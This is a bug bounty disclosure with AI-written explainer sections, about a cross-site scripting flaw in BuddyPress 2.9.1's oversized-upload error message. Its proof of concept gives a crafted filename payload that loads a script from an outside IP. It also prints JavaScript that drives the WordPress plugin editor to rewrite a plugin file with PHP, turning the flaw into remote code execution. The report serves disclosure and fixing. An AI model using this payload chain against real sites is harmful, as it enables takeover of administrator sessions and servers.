Buddypress 2.9.1 - Exceeding the maximum upload size - XSS leading to potential RCE.
When a user uploads an avatar or cover image larger than the allowed size, the error message echoes the filename without sanitising it, so a crafted filename containing HTML and script runs as script in the victim's browser. The author chains this cross-site scripting into same-origin scripting that edits a plugin file, which can lead to remote code execution when the victim is an administrator.
- Triaged in 27 hours
- Fixed in 2 months
- Paid in 2 months
- Disclosed after 2 months
Description
This report is very similar to https://hackerone.com/bugs?subject=user&report_id=203515 so I will not go into too much details.
When uploading a avatar or profile background image thats larger than allowd, the error containing the filename will be output unsanitized leading to XSS. Making the victim upload a strangely named file for his profile requires some social engineering. Any user is vuln, but has to be admin to escalate to RCE.
The interfaces for upload that are vuln can be found at domain.tld/members/USERNAME/profile/change-cover-image/ domain.tld/members/bbuser/profile/change-avatar/ domain.tld/wp-admin/users.php?page=bp-profile-edit
POC
The POC explores a chain of XSS => XSSI => RCE via same origin scripting, the route via XSSI is mainly due to file and char length restrictions
- Login as admin
- Goto
/wp-admin/users.php?page=bp-profile-edit - Upload a file with the following name (mentioned below) as admin for.
Filename
POC<img src=x onerror='document.write(atob("UnVubmluZyBQT0M8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwOi8vMTU5LjIwMy4xOTAuMTIzL3c5cmZhczg5ZXVmczllOGZ1OThld3VmandlZmlvandlX3MxMDU4Zy0vd3AtcmNlLmpzIj48L3NjcmlwdD4="))'>
The base64 data can be verified by
btoa('Running POC<script type="text/javascript" src="http://159.203.190.123/w9rfas89eufs9e8fu98ewufjwefiojwe_s1058g-/wp-rce.js"></script>'); in the browser conole.
This scripts loads the RCE script that changes the hello.php with <?php phpinfo() and redirect to it.
var i = document.createElement("iframe");
i.src = "http://127.0.0.1:8090/wp-admin/plugin-editor.php?file=hello.php";
document.querySelector("body").appendChild(i);
setTimeout(function() {
var p = "<?php phpinfo();"
var d = document.querySelector("iframe").contentWindow.document;
var c = d.querySelector("#newcontent")
var s = d.querySelector("#submit")
c.value = p
s.click();
}, 2000);
setTimeout(function() {
window.location.href = "http://127.0.0.1:8090/wp-content/plugins/hello.php"
}, 4000);
Suggested fix
Sanitize the error. I suspect it needs a run through .html() as in #203515
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
Any user is affected, but the attacker needs to trick the victim into uploading a specially named file, and only an administrator's session can be escalated to remote code execution.
What the attacker needed
Victim uploads a crafted filename; social engineering to deliver the file; admin rights for the RCE step
The fix
The error message should be sanitised so the filename is displayed as text rather than markup.
How it was found
- Log in as an administrator.
- Open the profile edit page in the admin area.
- Upload a file whose name contains HTML markup as the profile image.
- The oversized-file error renders the filename as markup, running the script.
- The script loads a second script that edits a plugin file and then visits it.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website lets you upload a profile picture. If the picture is too big, the site shows an error that repeats the file's name. The site does not clean that name first, so a name that looks like code gets run by the browser. That lets an attacker run their own code in the victim's logged-in session.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.